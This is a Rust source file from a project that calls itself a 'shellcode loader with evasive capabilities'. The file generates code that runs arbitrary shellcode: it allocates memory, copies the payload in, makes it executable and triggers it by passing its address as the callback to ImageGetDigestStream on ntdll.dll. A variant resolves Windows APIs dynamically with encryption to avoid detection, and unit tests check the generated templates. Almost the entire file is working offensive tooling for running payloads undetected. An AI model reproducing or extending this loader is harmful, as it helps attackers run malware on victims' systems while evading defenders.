myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

image_get_digest_stream.rs (10179B)

      1 pub fn image_get_digest_stream_import() -> String {
      2     r#"
      3 use std::ptr;
      4 "#
      5     .to_string()
      6 }
      7 
      8 pub fn image_get_digest_stream_const() -> String {
      9     r#"
     10 const MEM_COMMIT: u32 = 0x1000;
     11 const MEM_RESERVE: u32 = 0x2000;
     12 const PAGE_READWRITE: u32 = 0x04;
     13 const PAGE_EXECUTE_READ: u32 = 0x20;
     14 
     15 const GENERIC_READ: u32 = 0x80000000;
     16 const FILE_SHARE_READ: u32 = 0x00000001;
     17 const OPEN_EXISTING: u32 = 0x00000003;
     18 const FILE_ATTRIBUTE_NORMAL: u32 = 0x00000080;
     19 const CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO: u32 = 0x00000004;
     20 
     21 #[link(name = "imagehlp")]
     22 extern "system" {
     23     fn ImageGetDigestStream(
     24         file_handle: *mut std::ffi::c_void,
     25         digest_level: u32,
     26         digest_function: *const std::ffi::c_void,
     27         digest_handle: *mut *mut std::ffi::c_void,
     28     ) -> i32;
     29 }
     30 
     31 #[link(name = "kernel32")]
     32 extern "system" {
     33     fn CreateFileW(
     34         file_name: *const u16,
     35         desired_access: u32,
     36         share_mode: u32,
     37         security_attributes: *const std::ffi::c_void,
     38         creation_disposition: u32,
     39         flags_and_attributes: u32,
     40         template_file: *mut std::ffi::c_void,
     41     ) -> *mut std::ffi::c_void;
     42 
     43     fn CloseHandle(handle: *mut std::ffi::c_void) -> i32;
     44 }
     45 
     46 #[link(name = "ntdll")]
     47 extern "system" {
     48     fn RtlCopyMemory(
     49         destination: *mut std::ffi::c_void,
     50         source: *const std::ffi::c_void,
     51         length: usize,
     52     );
     53 }
     54 "#
     55     .to_string()
     56 }
     57 
     58 #[allow(dead_code)]
     59 pub fn image_get_digest_stream_init() -> String {
     60     "".to_string()
     61 }
     62 
     63 pub fn image_get_digest_stream_process() -> String {
     64     r#"
     65     unsafe {
     66         let addr = VirtualAlloc(
     67             ptr::null_mut(),
     68             shellcode.len(),
     69             MEM_COMMIT | MEM_RESERVE,
     70             PAGE_READWRITE,
     71         );
     72 
     73         if addr.is_null() {
     74             panic!("failed");
     75         }
     76 
     77         RtlCopyMemory(
     78             addr,
     79             shellcode.as_ptr() as *const std::ffi::c_void,
     80             shellcode.len(),
     81         );
     82 
     83         let mut old_protect: u32 = 0;
     84         let protect_result = VirtualProtect(
     85             addr,
     86             shellcode.len(),
     87             PAGE_EXECUTE_READ,
     88             &mut old_protect as *mut u32,
     89         );
     90 
     91         if protect_result == 0 {
     92             panic!("failed");
     93         }
     94 
     95         let ntdll_path: Vec<u16> = "C:\\Windows\\System32\\ntdll.dll"
     96             .encode_utf16()
     97             .chain(std::iter::once(0))
     98             .collect();
     99 
    100         let h_img = CreateFileW(
    101             ntdll_path.as_ptr(),
    102             GENERIC_READ,
    103             FILE_SHARE_READ,
    104             ptr::null(),
    105             OPEN_EXISTING,
    106             FILE_ATTRIBUTE_NORMAL,
    107             ptr::null_mut(),
    108         );
    109 
    110         if h_img.is_null() || h_img as isize == -1 {
    111             panic!("failed");
    112         }
    113 
    114         let mut dummy: *mut std::ffi::c_void = ptr::null_mut();
    115         let result = ImageGetDigestStream(
    116             h_img,
    117             CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO,
    118             addr,
    119             &mut dummy as *mut *mut std::ffi::c_void,
    120         );
    121 
    122         if !dummy.is_null() {
    123             CloseHandle(dummy);
    124         }
    125 
    126         CloseHandle(h_img);
    127 
    128         if result == 0 {
    129             panic!("failed");
    130         }
    131     }
    132 "#
    133     .to_string()
    134 }
    135 
    136 fn generate_image_get_digest_stream_template(_target_process: &str, function_name: &str) -> String {
    137     super::common::TechniqueTemplateBuilder::new()
    138         .with_import(image_get_digest_stream_import())
    139         .with_const(image_get_digest_stream_const())
    140         .with_init(image_get_digest_stream_init())
    141         .with_process(image_get_digest_stream_process())
    142         .build(function_name)
    143 }
    144 
    145 pub fn generate_image_get_digest_stream_code(_target_process: &str, function_name: &str) -> String {
    146     generate_image_get_digest_stream_template(_target_process, function_name)
    147 }
    148 
    149 fn image_get_digest_stream_process_with_dynamic_resolver(
    150     encryptor: &dyn crate::encryption::Encryptor,
    151 ) -> Result<String, String> {
    152     use super::dynamic_common::*;
    153 
    154     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
    155     let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
    156     let virtual_protect = virtual_protect_resolver(encryptor)?;
    157     let create_file_w = create_file_w_resolver(encryptor)?;
    158     let close_handle = close_handle_resolver(encryptor)?;
    159     let image_get_digest_stream = image_get_digest_stream_resolver(encryptor)?;
    160 
    161     Ok(format!(
    162         r#"
    163     unsafe {{
    164         {virtual_alloc_resolver}
    165         {virtual_alloc_cast}
    166 
    167         let addr = virtual_alloc(
    168             ptr::null_mut(),
    169             shellcode.len(),
    170             MEM_COMMIT | MEM_RESERVE,
    171             PAGE_READWRITE,
    172         );
    173 
    174         if addr.is_null() {{
    175             panic!("failed");
    176         }}
    177 
    178         {rtl_copy_memory_resolver}
    179         {rtl_copy_memory_cast}
    180 
    181         rtl_copy_memory(
    182             addr,
    183             shellcode.as_ptr() as *const std::ffi::c_void,
    184             shellcode.len(),
    185         );
    186 
    187         {virtual_protect_resolver}
    188         {virtual_protect_cast}
    189 
    190         let mut old_protect: u32 = 0;
    191         let protect_result = virtual_protect(
    192             addr,
    193             shellcode.len(),
    194             PAGE_EXECUTE_READ,
    195             &mut old_protect as *mut u32,
    196         );
    197 
    198         if protect_result == 0 {{
    199             panic!("failed");
    200         }}
    201 
    202         let ntdll_path: Vec<u16> = "C:\\Windows\\System32\\ntdll.dll"
    203             .encode_utf16()
    204             .chain(std::iter::once(0))
    205             .collect();
    206 
    207         {create_file_w_resolver}
    208         {create_file_w_cast}
    209 
    210         let h_img = create_file_w(
    211             ntdll_path.as_ptr(),
    212             GENERIC_READ,
    213             FILE_SHARE_READ,
    214             ptr::null(),
    215             OPEN_EXISTING,
    216             FILE_ATTRIBUTE_NORMAL,
    217             ptr::null_mut(),
    218         );
    219 
    220         if h_img.is_null() || h_img as isize == -1 {{
    221             panic!("failed");
    222         }}
    223 
    224         let mut dummy: *mut std::ffi::c_void = ptr::null_mut();
    225 
    226         {image_get_digest_stream_resolver}
    227         {image_get_digest_stream_cast}
    228 
    229         let result = image_get_digest_stream(
    230             h_img,
    231             CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO,
    232             addr,
    233             &mut dummy as *mut *mut std::ffi::c_void,
    234         );
    235 
    236         {close_handle_resolver}
    237         {close_handle_cast}
    238 
    239         if !dummy.is_null() {{
    240             close_handle(dummy);
    241         }}
    242 
    243         close_handle(h_img);
    244 
    245         if result == 0 {{
    246             panic!("failed");
    247         }}
    248     }}
    249 "#,
    250         virtual_alloc_resolver = virtual_alloc.resolver_code,
    251         virtual_alloc_cast = virtual_alloc.cast_code,
    252         rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
    253         rtl_copy_memory_cast = rtl_copy_memory.cast_code,
    254         virtual_protect_resolver = virtual_protect.resolver_code,
    255         virtual_protect_cast = virtual_protect.cast_code,
    256         create_file_w_resolver = create_file_w.resolver_code,
    257         create_file_w_cast = create_file_w.cast_code,
    258         close_handle_resolver = close_handle.resolver_code,
    259         close_handle_cast = close_handle.cast_code,
    260         image_get_digest_stream_resolver = image_get_digest_stream.resolver_code,
    261         image_get_digest_stream_cast = image_get_digest_stream.cast_code,
    262     ))
    263 }
    264 
    265 fn generate_image_get_digest_stream_template_with_dynamic_resolver(
    266     function_name: &str,
    267     _encryption_type: &str,
    268     encryptor: &dyn crate::encryption::Encryptor,
    269 ) -> Result<String, String> {
    270     let process_code = image_get_digest_stream_process_with_dynamic_resolver(encryptor)?;
    271 
    272     Ok(super::common::TechniqueTemplateBuilder::new()
    273         .with_import(image_get_digest_stream_import())
    274         .with_const(image_get_digest_stream_const())
    275         .with_init(image_get_digest_stream_init())
    276         .with_process(process_code)
    277         .build(function_name))
    278 }
    279 
    280 pub fn generate_image_get_digest_stream_code_with_dynamic_resolver(
    281     function_name: &str,
    282     encryption_type: &str,
    283     encryptor: &dyn crate::encryption::Encryptor,
    284 ) -> String {
    285     generate_image_get_digest_stream_template_with_dynamic_resolver(
    286         function_name,
    287         encryption_type,
    288         encryptor,
    289     )
    290     .unwrap_or_else(|err| {
    291         panic!(
    292             "Failed to generate ImageGetDigestStream code with dynamic resolver (encryption: {}): {}",
    293             encryption_type, err
    294         )
    295     })
    296 }
    297 
    298 pub struct ImageGetDigestStreamGenerator;
    299 
    300 impl super::trait_generator::TechniqueGenerator for ImageGetDigestStreamGenerator {
    301     fn generate_code(&self, _process: &str, function_name: &str) -> String {
    302         generate_image_get_digest_stream_code(_process, function_name)
    303     }
    304 
    305     fn generate_code_with_dynamic_resolver(
    306         &self,
    307         _process: &str,
    308         function_name: &str,
    309         encryption_type: &str,
    310         encryptor: &dyn crate::encryption::Encryptor,
    311     ) -> String {
    312         generate_image_get_digest_stream_code_with_dynamic_resolver(
    313             function_name,
    314             encryption_type,
    315             encryptor,
    316         )
    317     }
    318 
    319     fn requires_process(&self) -> bool {
    320         false
    321     }
    322 
    323     fn name(&self) -> &'static str {
    324         "ImageGetDigestStream"
    325     }
    326 }
    327 
    328 #[cfg(test)]
    329 mod tests {
    330     use super::*;
    331 
    332     #[test]
    333     fn test_generate_image_get_digest_stream_template_contains_all_parts() {
    334         let template = generate_image_get_digest_stream_template("notepad.exe", "MyFunction");
    335         assert!(template.contains("use std::ptr"));
    336         assert!(template.contains("MEM_COMMIT"));
    337         assert!(template.contains("PAGE_READWRITE"));
    338         assert!(template.contains("PAGE_EXECUTE_READ"));
    339         assert!(template.contains("fn MyFunction"));
    340         assert!(template.contains("VirtualAlloc"));
    341         assert!(template.contains("VirtualProtect"));
    342         assert!(template.contains("ImageGetDigestStream"));
    343     }
    344 
    345     #[test]
    346     fn test_generate_image_get_digest_stream_code() {
    347         let code = generate_image_get_digest_stream_code("notepad.exe", "MyRandomFunc");
    348         assert!(code.contains("fn MyRandomFunc"));
    349     }
    350 
    351     #[test]
    352     fn test_image_get_digest_stream_does_not_use_process_param() {
    353         let code = generate_image_get_digest_stream_code("notepad.exe", "TestFunc");
    354         assert!(!code.contains("notepad.exe"));
    355     }
    356 }